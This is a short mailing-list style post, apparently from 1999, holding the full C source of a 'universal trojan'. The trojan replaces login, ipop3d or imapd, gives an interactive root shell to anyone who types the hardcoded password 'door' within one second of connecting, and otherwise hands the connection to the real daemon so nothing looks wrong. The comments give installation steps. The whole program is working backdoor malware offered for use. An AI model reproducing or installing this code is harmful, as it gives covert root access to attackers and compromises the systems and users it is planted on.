| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. | /* Universal trojan ( login / imapd / qpopd ) But will work on more daemons and on most systems. After installed on the system. Telnet to the daemon and you will have 1 second to type in the trojan passwd to get root access else it executes the real daemon. */ /* * PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! :P * * mitra ( login / ipop3d / imapd trojan ) * axess ( [email protected] ) in Dec-1999 * * This is an combined login / ipop3d / imapd trojan. * This should work with other deamons but i have only tested these 3. * * REAL == mv the real deamon to this path. * TROJAN == This is the real path of the deamon, put the trojan here. * * It defaults to login trojan now. * Dont forgot you might have to the rights of the trojan. * Telnet to the port whatever deamon its set for. * The passwd you need to enter in one second == door * and you will get that lovely # =) * This works on most systems. * */ #include<signal.h> #include<stdio.h> #include<string.h> #include<unistd.h> #define REAL "/bin/.login" #define TROJAN "/bin/login" #define ROOT "door" char **execute; char passwd[5]; int main(int argc, char *argv[]) { void connection(); signal(SIGALRM,connection); alarm(1); execute=argv; *execute=TROJAN; scanf("%s",passwd); if(strcmp(passwd,ROOT)==0) { alarm(0); execl("/bin/sh","/bin/sh","-i",0); exit(0); } else { execv(REAL,execute); exit(0); } } void connection() { execv(REAL,execute); exit(0); } ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com?sr=mc.mk.mcm.tag001 |